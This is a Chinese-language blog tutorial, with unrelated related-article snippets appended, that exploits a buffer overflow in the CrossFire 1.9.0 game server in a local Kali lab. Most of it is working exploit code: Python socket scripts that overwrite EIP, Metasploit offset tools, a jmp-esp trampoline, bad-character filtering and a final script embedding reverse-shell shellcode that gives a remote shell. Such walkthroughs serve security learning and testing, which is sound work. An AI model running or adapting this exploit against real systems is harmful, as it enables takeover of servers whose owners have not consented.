Linux下简单的缓冲区溢出
缓冲区溢出是什么?
科班出身,或者学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据
成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
CrossFire
- 多人在线RPG游戏
- 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞 (服务端)
调试工具
- edb
运行平台
- kali 2.0 x64虚拟机
Linux中内存保护机制
- DEP
- ASLR
- 堆栈 cookies
- 堆栈粉碎
漏洞太老,避免测试中我们的虚拟机被劫持,可以通过iptables设置目标端口只允许本地访问,如果网络是仅主机可以省略
#4444端口是一会开放的测试端口,只允许本地访问 iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP #13327是服务端端口,只允许本地访问 iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
创建/usr/games/目录,将crossfire1.9.0服务端解压到目录
#解压 touch /usr/games/ cd /usr/games/ tar zxpf crossfire.tar.gz
运行一下crossfire看看有没有问题 ./crossfire
出现Waiting for connections即可,有问题看看Error
#开启调试 edb --run /usr/games/crossfire/bin/crossfire
右下角是paused暂停状态
菜单栏 Debug => Run(F9) 点击两回可以运行起来
可以通过命令查看程序端口信息
#查看开放端口 netstat -pantu | grep 13327
EIP中存放的是下一条指令的地址
这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试
#! /usr/bin/python import socket host = "127.0.0.1" crash = "\x41" * 4379 ## \x41为十六进制的大写A buffer = "\x11(setup sound " + crash + "\x90\x00#" ## \x90是NULL,\x00是空字符 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
运行后,edb报错如下
意思是EIP(存放一下条执行命令的地址)已经被覆盖成上图黑体中的地址,而计算机找不到这个地址。这个地址正是由我们输入的A,说明EIP可控,存在溢出。
这里你也可以测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控
为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb -l
复制下来,构造如下python脚本
#! /usr/bin/python import socket host = "127.0.0.1" crash = "唯一字符串" buffer = "\x11(setup sound " + crash + "\x90\x00#" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
开启edb启动程序,运行python程序
利用工具确认字符串的位置
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_offset.rb -q
就是说EIP地址前面有4368个字符。 4369,4370,4371,4372的位置存放的是溢出后的EIP地址
我们构造如下python脚本验证
#! /usr/bin/python import socket host = "127.0.0.1" crash = 'A'*4368 + 'B'*4 + 'C'*7 ## 凑够4379个字符 buffer = "\x11(setup sound " + crash + "\x90\x00#" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
可以看到EIP地址被精准的填充为B字符
右键ESP,选择 Follow In Dump 查看数据
因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode
几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode
思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。
既然ESP可以存放7个字符,想到了跳转EAX并偏移12
构造如下python代码运行
#! /usr/bin/python import socket host = "127.0.0.1" crash = 'A'*4368 + 'B'*4 + '\x83\xc0\x0c\xff\xe0\x90\x90' buffer = "\x11(setup sound " + crash + "\x90\x00#" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
首先EIP地址仍然是精准的四个B
ESP => Follow In Dump 查看
83 c0 0c ff e0 90 90 说明这里也完美写入
思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转
打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch
选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的
菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。
然后我们测试坏字符,经过测试坏字符是\x00\x0a\x0d\x20
生成shellcode并过滤坏字符
cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类 ./msfpayload linux_ia32_reverse LHOST= R | ./msfencode -b "\x00\x0a\x0d\x20"
构建python脚本
#!/usr/bin/python import socket host = "127.0.0.1" shellcode = ( "\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+ "\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+ "\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+ "\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+ "\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+ "\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+ "\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+ "\x1a\x99\x43\x71\x97\x54\x03") crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90" buffer = "\x11(setup sound " +crash+ "\x90\x90#)" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
监听本地的4444端口,即可获取一个shell
Linux下简单的缓冲区溢出的更多相关文章
- windows下简单的缓冲区溢出
缓冲区溢出是什么? 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等 ...
- Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...
- Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...
- Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-154 发布时间: 2013-11-13 更新时间: 201 ...
- Linux下简单的socket通信实例
Linux下简单的socket通信实例 If you spend too much time thinking about a thing, you’ll never get it done. —Br ...
- Linux 下 简单客户端服务器通讯模型(TCP)
原文:Linux 下 简单客户端服务器通讯模型(TCP) 服务器端:server.c #include<stdio.h> #include<stdlib.h> #include ...
- Linux下简单的取点阵字模程序
源:Linux下简单的取点阵字模程序 Linux操作系统下进行简单的图形开发,经常会用到取字模的软件,但是Linux并没有像Windows下的小工具可用,我们也并不希望为了取字模而频繁地切换操作系统. ...
- linux下简单的备份的脚本 2 【转】
转自:http://blog.chinaunix.net/xmlrpc.php?r=blog/article&uid=26807463&id=4577034 之前写过linux下简单的 ...
- 一个linux下简单的纯C++实现Http请求类(GET,POST,上传,下载)
目录 一个linux下简单的纯C++实现Http请求类(GET,POST,上传,下载) Http协议简述 HttpRequest类设计 请求部分 接收部分 关于上传和下载 Cpp实现 关于源码中的Lo ...
随机推荐
- PHP按符号截取字符串的指定部分
字符串截取在php开发中是比较常用的:而且对于截取的需求也有很多种:就比如说对url链接的操作:http://baijunyao.com/article/12 有时我们想截取最后一个斜杠'/'后面的数 ...
- 1; XHTML 基本知识
万维网是我们这个时代最重要的信息传播手段.几乎任何人都可以创建自己的网站,然后把它发布在因特网上.一些网页属于企业,提供销售服务:另一些网页属于个人,用来分享信息.你可以自己决定网页的内容和风格.所有 ...
- es6 语法 (Decorator)
修饰器是一个函数,用来修改类的行为(注意:1.函数 2.修改行为 3.对类进行操作) { //修饰器函数定义 target:类本身,name名称,descriptor描述 let readonly ...
- Salesforce 外部对象
外部对象(External Object) 在Salesforce中,管理员或开发者可以通过"外部对象"将其他系统中的数据虚拟地展现为Salesforce的对象.每个外部对象都要连 ...
- JMeter 线程组之Stepping Thread Group插件介绍
线程组之Stepping Thread Group插件介绍 by:授客 QQ:1033553122 测试环境 apache-jmeter-2.13 插件: https://jmeter-plu ...
- C程序
/* 不适用C库函数,只是用 C 语言实现函数 void* memcpy( void *dst, const void *src, size_t len ) memmove 函数的功能是拷贝 src ...
- OneAPM 获得“2018中国 IT 服务创新奖”,彰显技术创新实力
6月30日,主题为“智能服务 数字中国”的中国 IT 服务创新大会在京召开.作为第22届中国国际软件博览会的重头戏,本次大会由工业和信息化部.北京市人民政府共同主办,中国电子工业标准化技术协会信息技术 ...
- 将 varchar 值 'ACCE5057EC423F7C' 转换成数据类型 int 时失败
调试别人的存储过程,然后报错了 将 varchar 值 'ACCE5057EC423F7C' 转换成数据类型 int 时失败 这让我一通找.找了一个多小时. 通过这个错可以知道,错误肯定是在联表 字段 ...
- 获取Bing每日图片API接口
bing图片每日更新,对于这一点感觉挺不错的,如果能够把bing每日图片作为博客背景是不是很不错呢?首先我们进入Bing首页,会发现自动转到中国版.不过这没关系,中国版更符合国情,速度也比国际版快一些 ...
- Spring MVC 静态资源处理 (三)
完整的项目案例: springmvc.zip 目录 实例 项目结构: 一.配置web.xml <?xml version="1.0" encoding="UTF-8 ...